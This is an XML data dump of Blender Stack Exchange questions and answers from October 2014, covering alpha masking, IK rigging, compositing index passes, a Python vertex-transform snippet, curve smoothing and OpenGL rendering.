  <row Id="18239" PostTypeId="2" ParentId="18237" CreationDate="2014-10-27T05:58:09.503" Score="2" Body="&lt;h1&gt;Blender internal&lt;/h1&gt;&#xA;&lt;p&gt;One way is by using a node texture on top of the video texture to influence the alpha:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uidE4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uidE4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that the color input on the checker node has an alpha of 0 and the material has &lt;em&gt;Mask alpha&lt;/em&gt; enabled.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/32373&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&lt;p&gt;In cycles this can be done with a material setup like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MHSsf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-10-27T06:10:06.173" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18240" PostTypeId="2" ParentId="18238" CreationDate="2014-10-27T06:01:41.667" Score="3" Body="&lt;p&gt;It's part of the ring object. The ring has a cube in it, which is being subsurfed and distorted by the modifiers, resulting in the &quot;egg&quot; object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the ring (&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;), enter edit mode (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;) and delete the cube at the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gO1L0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-27T06:01:41.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18241" PostTypeId="2" ParentId="18238" CreationDate="2014-10-27T06:08:26.887" Score="0" Body="&lt;p&gt;This egg shape object was the result of creating a cube while in edit mode. This caused it to inherit all the properties of the ring (sub surf modifier, mirror, curve deform). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent this from happening again, make sure blender is in object mode whenever creating new objects (not edit mode). &lt;/p&gt;&#xA;" OwnerUserId="1026" LastActivityDate="2014-10-27T06:08:26.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18242" PostTypeId="2" ParentId="18235" CreationDate="2014-10-27T07:01:23.550" Score="1" Body="&lt;p&gt;If both objects are manifold and don't have any self-intersections, the boolean method &lt;em&gt;should&lt;/em&gt; work.&lt;/p&gt;&#xA;&lt;p&gt;However, booleans are sometimes finicky for no reason, so here's another approach:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Move the object you want to appear to a empty layer (e.g. layer 2), keeping the rest of the scene on layer 1&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a bounding cube as if you were going to use a boolean modifier, but instead give it a &lt;em&gt;holdout&lt;/em&gt; material which is only visible to the camera (so that it doesn't cast a shadow):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZhfvR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new renderlayer and set it to only layer 2. Also change the existing renderlayer to only layer 1:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5QzSp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;Render settings &amp;gt; Film&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up the composite nodes&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gzvow.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/AlarmedInferiorChinchilla&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://zippy.gfycat.com/AlarmedInferiorChinchilla.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The shadow is an obvious limitation, but I can't think of a good workaround aside from just removing the shadow completely..&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-10-27T07:09:38.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18243" PostTypeId="1" AcceptedAnswerId="18247" CreationDate="2014-10-27T10:10:21.760" Score="3" ViewCount="2011" Body="&lt;p&gt;In Blender there is a 'Mask ID Node' in the 'Compositor' to extract &lt;strong&gt;IndexOB or IndexMA&lt;/strong&gt; of a &lt;em&gt;Multilayer EXR&lt;/em&gt;. But how to work with these passes in other compositing packages? In e.g. Nuke or After Effects there is &lt;strong&gt;nothing like an ID Node&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-11-27T16:04:09.463" LastActivityDate="2015-11-27T16:04:09.463" Title="How to use index passes in other compositing packages?" Tags="&lt;nodes&gt;&lt;export&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18245" PostTypeId="1" AcceptedAnswerId="18246" CreationDate="2014-10-27T13:29:57.330" Score="3" ViewCount="1525" Body="&lt;p&gt;I would like to perform the following things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for the selected object get all the vertices, treat the vertices as a vector, perform a &lt;em&gt;Matrix x Vector&lt;/em&gt; multiplication&lt;/li&gt;&#xA;&lt;li&gt;do the same &lt;em&gt;Matrix x Vector&lt;/em&gt; multiplication for all the objects on a scene&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The purpose of this is to visualize the result of a given operation using concepts from linear algebra, but also have a quick way to manipulate the source (the 3D mesh).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I don't understand the reasoning behind the naming and the general design of the python API under Blender. Multiple things access the same information which is not always related to the name of the access methods used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes the autocomplete feature &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;SPACE&lt;/kbd&gt; gets in the way, for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.selected_objects[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;SPACE&lt;/kbd&gt; becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.selected_objects[0]['cycles'].name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which doesn't seem to be a useful piece of information when there is no object named &lt;code&gt;cycles&lt;/code&gt;.  Instead what I want is something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.selected_objects[0].name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can show me how to perform these tasks simply?&lt;/p&gt;&#xA;" OwnerUserId="1391" LastEditorUserId="47" LastEditDate="2016-01-19T14:30:10.803" LastActivityDate="2020-05-15T23:48:34.140" Title="Using python to manipulate vertices" Tags="&lt;python&gt;&lt;transforms&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18246" PostTypeId="2" ParentId="18245" CreationDate="2014-10-27T13:53:23.327" Score="3" Body="&lt;p&gt;You can do this by iterating through all of the objects in the scene which are found at &lt;code&gt;bpy.data.objects&lt;/code&gt;. This is all the objects in all the all the scenes. You could also use &lt;code&gt;bpy.contex.scene.objects&lt;/code&gt; which would be the objects in the current scene. Then you would want to make sure it was a &lt;code&gt;mesh&lt;/code&gt; object by checking its &lt;code&gt;type&lt;/code&gt;. Then get all the vertex positions, convert them to world space, and make them tuples, if you want. In the end you get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;for object in bpy.data.objects:&#xA;    if object.type == &quot;MESH&quot;: #check if mesh object&#xA;        verts = [object.matrix_world * vert.co for vert in object.data.vertices] #get vertex data&#xA;        tup_verts = [vert.to_tuple() for vert in verts] #convert to tuples&#xA;        print(tup_verts) #display list&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could add &lt;code&gt;tup_verts&lt;/code&gt; to a larger list if you wanted, and you can leave the positions as &lt;code&gt;Vectors&lt;/code&gt; by accessing &lt;code&gt;verts&lt;/code&gt; instead of &lt;code&gt;tup_verts&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In more recent versions of blender (&gt;=2.80) it is necessary to use the &quot;@&quot; operator for the element-wise matrix multiplication instead of &quot;*&quot;. I.e. &quot;object.matrix_world @ vert.co&quot;. See this answer: &lt;a href=&quot;https://blender.stackexchange.com/a/129474/22220&quot;&gt;https://blender.stackexchange.com/a/129474/22220&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="22220" LastEditDate="2020-05-15T23:48:34.140" LastActivityDate="2020-05-15T23:48:34.140" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18247" PostTypeId="2" ParentId="18243" CreationDate="2014-10-27T14:00:51.003" Score="5" Body="&lt;p&gt;To make it work in &lt;strong&gt;all other packages&lt;/strong&gt; you need to &lt;strong&gt;manually&lt;/strong&gt; create &lt;a href=&quot;https://blender.stackexchange.com/questions/16152/save-render-passes-to-a-exr-with-blender-2-71/18406#18406&quot;&gt;custom output channels&lt;/a&gt; and &lt;strong&gt;append the passes to your Multilayer EXR&lt;/strong&gt; via Blenders &lt;em&gt;Compositor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qXPiT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In Nuke you can use &lt;a href=&quot;http://www.nukepedia.com/plugins/other/j_ops/&quot; rel=&quot;nofollow noreferrer&quot;&gt;J_Ops&lt;/a&gt;. With this tool &lt;strong&gt;you don't need the additional node setup&lt;/strong&gt; above. There is a tool called &lt;strong&gt;J_GotSomeID&lt;/strong&gt; which is able to detect such IDs from the EXR Multilayer automatically.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Select the pass&lt;/strong&gt; (IndexOB or IndexMA)&lt;/li&gt;&#xA;&lt;li&gt;Set the &lt;strong&gt;Selection Mode to Find&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;To detect the IDs click &lt;strong&gt;Autofill&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Csb00.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-11-27T16:02:21.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18248" PostTypeId="1" AcceptedAnswerId="18250" CreationDate="2014-10-27T14:20:56.080" Score="10" ViewCount="7205" Body="&lt;p&gt;I have an IK-rig set up for my arm. An upper arm bone, a lower arm bone and the arm-IK bone, like so(front-view):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nkP38.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IK-rig works until I add an elbow target/elbow pole. At this point, the arm stops bending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It goes from bending beautifully like this(top-view):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/td80L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To not bending, no matter where the IK-bone is placed(top-view):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ofZm7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make the arm bend when I have an elbow-target/elbow-pole?&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditDate="2017-10-02T18:48:38.473" LastActivityDate="2017-11-29T19:19:29.703" Title="IK-rig doesn't bend when I add elbow-target/elbow-pole" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18249" PostTypeId="1" CreationDate="2014-10-27T14:23:19.950" Score="2" ViewCount="261" Body="&lt;p&gt;What I am trying is following:&lt;br&gt;&#xA;I want to &quot;melt&quot; a human body, so that the body turns into water and splashes onto the ground. OR that the human body is melting.&#xA;Basically: to turn a more complex form/object into fluid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is the following:&lt;br&gt;&#xA;When I bake the body (selected as fluid &gt; fluid) the body turns into a weird shape and splashed onto the floor (fluid &gt; obstacle). But I need the body staying exactly in form and melting down from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first picture is the bodyshape before I bake it and the second one you can see what it turns into when baking it (BEFORE it splashes down to the floor)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like this:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=Mx5KCEX6SZ0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=Mx5KCEX6SZ0&lt;/a&gt;&#xA;BUT of course not turn into smoke, but water, splashing onto the floor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k5N6o.png&quot; alt=&quot;before bake&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qOEaC.png&quot; alt=&quot;after bake&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7712" LastEditorUserId="2217" LastEditDate="2014-10-27T16:26:34.123" LastActivityDate="2015-06-24T22:19:34.323" Title="fluid simulation baking error" Tags="&lt;fluid-simulation&gt;&lt;baking&gt;" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="18250" PostTypeId="2" ParentId="18248" CreationDate="2014-10-27T15:05:07.413" Score="16" Body="&lt;p&gt;Seems like what's needed is a tiny bend in the armature, in edit mode. In other words, Blender needs to know where your elbow is bending towards. Go into edit mode, move the connection between the upper arm and lower arm just a little bit towards the elbow target/elbow pole. Then you should be good to go.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditDate="2017-11-29T19:19:29.703" LastActivityDate="2017-11-29T19:19:29.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18251" PostTypeId="1" AcceptedAnswerId="18252" CreationDate="2014-10-27T15:06:47.273" Score="13" ViewCount="5512" Body="&lt;p&gt;Is there some way to render &lt;em&gt;exactly&lt;/em&gt; whats in the camera view in the 3D view? By that I mean just like a screenshot really, all paths, lamps, and cameras, just like things look in the camera view. The reason I can't just take a screenshot is that I need an animation and it would be too cumbersome to take 1000+ screenshots!&lt;/p&gt;&#xA;" OwnerUserId="7713" LastEditorUserId="2217" LastEditDate="2014-10-27T16:48:38.823" LastActivityDate="2014-10-27T18:03:28.063" Title="Rendering an animation the way 3D view looks" Tags="&lt;rendering&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18252" PostTypeId="2" ParentId="18251" CreationDate="2014-10-27T15:16:46.253" Score="15" Body="&lt;p&gt;You can &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Vitals/Quick_render&quot; rel=&quot;noreferrer&quot;&gt;render using &lt;em&gt;OpenGL&lt;/em&gt;&lt;/a&gt;, by going to &lt;em&gt;Info &gt; Header &gt; Render &gt; OpenGL Render Image&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MTaEv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or by clicking on the icons in &lt;em&gt;3D view &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fhnmI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="599" LastEditDate="2014-10-27T18:03:28.063" LastActivityDate="2014-10-27T18:03:28.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18253" PostTypeId="1" CreationDate="2014-10-27T17:26:35.537" Score="5" ViewCount="17178" Body="&lt;p&gt;I created mesh from a curve and I want now soften the curved parts of it like this selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LTMS3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I subdivided this part and moved vertices manually to get this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/weNhf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm sure there is some better way to do this.&#xA;Basically I want to make a flat road but i don't want to have million unnecessary vertices on straight parts.&lt;/p&gt;&#xA;" OwnerUserId="7635" LastEditorUserId="599" LastEditDate="2014-10-27T18:19:59.577" LastActivityDate="2021-03-29T22:28:24.040" Title="How to soften/smooth mesh curves?" Tags="&lt;mesh&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18254" PostTypeId="1" CreationDate="2014-10-27T17:43:31.423" Score="3" ViewCount="755" Body="&lt;p&gt;I have successfully enabled the experimental OpenCL support and my scene (surprisingly) renders fine, without any crashes or artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup consists of two AMD cards and an Intel CPU. Choosing either card as a GPU Compute device works fine. Enabling all devices together also works, but (presumably due to different cycles feature set supported) some tiles are differently lit. Moreover, the render is slower, as for some reason the GPU's wait for the CPU to finish before going on to the next tile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, is there a way to enable both GPU's but not the CPU as a compute device?&lt;/p&gt;&#xA;" OwnerDisplayName="user7715" LastEditorUserId="599" LastEditDate="2014-10-27T17:59:33.093" LastActivityDate="2014-11-02T20:58:06.113" Title="How can I disable one OpenCL device" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18255" PostTypeId="2" ParentId="18228" CreationDate="2014-10-27T17:54:58.333" Score="6" Body="&lt;p&gt;Depending on your color management setting in the Scene Properties Editor, Blender will interpret the colors in an image in different ways, (i.e. apply a gamma curve to it, or adjust the color gamut/saturation of the image^)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the color space to noncolor basically tells Blender to skip that conversion, i.e. a bump map is should not be color-managed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;^ I am greatly simplifying what 'color management' is, but for the purpose of this, I think it's sufficient.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-10-27T17:54:58.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18256" PostTypeId="1" CreationDate="2014-10-27T17:55:02.393" Score="1" ViewCount="215" Body="&lt;p&gt;I am trying to integrate the Windows command line functionality of Blender into a program I am writing to perform some ProRes/XDCam to DnxHD video encodes. I am currently using FFMPEG to perform DnxHD encodes but would like to test out Blender to see if there are any quality differences. Only problem is I am really confused on how to do this through the command line with Blender. My current FFMPEG command looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E:\FFMPEG\bin\ffmpeg -y -i &quot;C:\testing\somefile.mov&quot; -c:v dnxhd -s 1920x1080 -pix_fmt yuv422p -r 29.97 -b:v 145M -acodec pcm_s16le -ac 2 -ab 1500k -ar 48000 -threads 1 &quot;DnxHDOutput.mov&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could any of you provide some sample command line arguments to get this working or provide me with a guide/link on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="7716" LastEditorUserId="2217" LastEditDate="2014-10-27T19:21:57.950" LastActivityDate="2014-10-27T19:21:57.950" Title="encode video through windows command line" Tags="&lt;video&gt;&lt;command-line&gt;&lt;windows&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18257" PostTypeId="1" AcceptedAnswerId="18258" CreationDate="2014-10-27T18:04:39.853" Score="2" ViewCount="436" Body="&lt;p&gt;Are there any settings to make edge marks appear at all angles when rendered? I edge marked part of Suzanne's head but when certain angles are rendered parts of the edge marks are invisible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&#xA;&lt;img src=&quot;https://i.imgur.com/0nPBO5W.png&quot; alt=&quot;edge marks working&quot; title=&quot;edge marks working ok&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edge Marks working ok at certain angles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/iEGskD8.png&quot; alt=&quot;edge marks working&quot; title=&quot;edge marks working ok&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edge Marks are invisible at certain angles&lt;/p&gt;&#xA;" OwnerUserId="7524" LastActivityDate="2014-10-27T18:10:58.177" Title="How to show missing edges with Freestyle edge mode?" Tags="&lt;edges&gt;&lt;freestyle&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18258" PostTypeId="2" ParentId="18257" CreationDate="2014-10-27T18:10:58.177" Score="3" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The edge disappears because it is no longer visible. This is more obvious on a shaded model:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U7kyY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want freestyle edges to be visible at all times, disable selection by visibility:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/conw7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-27T18:10:58.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18259" PostTypeId="1" CreationDate="2014-10-27T18:13:37.437" Score="1" ViewCount="677" Body="&lt;p&gt;I am trying to understand the relationship between the scale of the model and how a texture is applied. My workflow is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a model &lt;/li&gt;&#xA;&lt;li&gt;Create an image in the UV/Image editor of the default size, 1024x1024&lt;/li&gt;&#xA;&lt;li&gt;UV Unwrap (for my current project just using a smart UV project)&lt;/li&gt;&#xA;&lt;li&gt;Export UV map to create textures&lt;/li&gt;&#xA;&lt;li&gt;Export model to .fbx&lt;/li&gt;&#xA;&lt;li&gt;Combine model &amp;amp; texture in Unity3d&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After I'm in Unity, I usually end up scaling my model, and my texture looks quite pixelated, and I'm not sure how to correct that. Theoretically I would ideally not change scale in Unity, but then I'm not sure how the other steps are related. Should I scale up the model first, and THEN do my UV unwrap? Scale the unwrapped UV image? I've got pretty large textures that have to be cut down quite a bit to even fit in the 1024x1024 UV map that is exported. Another thought I had was to start with like a 4096x4096 image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any input is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5070" LastActivityDate="2014-10-27T18:13:37.437" Title="Understanding model, texture, UV scale" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18260" PostTypeId="2" ParentId="18253" CreationDate="2014-10-27T18:18:58.650" Score="9" Body="&lt;p&gt;You probably don't need all those subdivisions on the edges that run across the curve:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WksXH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1aBZB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Aside from that, there are several ways you could go about doing this:&lt;/p&gt;&#xA;&lt;h1&gt;Spin&lt;/h1&gt;&#xA;&lt;p&gt;You could use the &lt;em&gt;spin&lt;/em&gt; tool (&lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;):&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Position the 3D cursor (&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot; /&gt; LMB&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Spin (&lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ykvv6.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Subdivide&lt;/h1&gt;&#xA;&lt;p&gt;Subdividing can work well if you only subdivide the edges that follow around the curve:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lNOd3.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Unfortunately subdivide smooth doesn't seem to work in this case, so you'll still need to move the vertices manually.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Curves&lt;/h1&gt;&#xA;&lt;p&gt;You could also use a curve, then convert it to a mesh later with &lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a curve&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a straight curve as a bevel object&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude curve (&lt;kbd&gt;E&lt;/kbd&gt; or &lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot; /&gt; LMB&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/ScarceCreamyAlligator&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/ScarceCreamyAlligator.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;You should also be able to use &lt;em&gt;bevel&lt;/em&gt;, but currently there seems to be a bug with beveling 2D planes in 2.72..&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-10-27T18:25:40.310" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
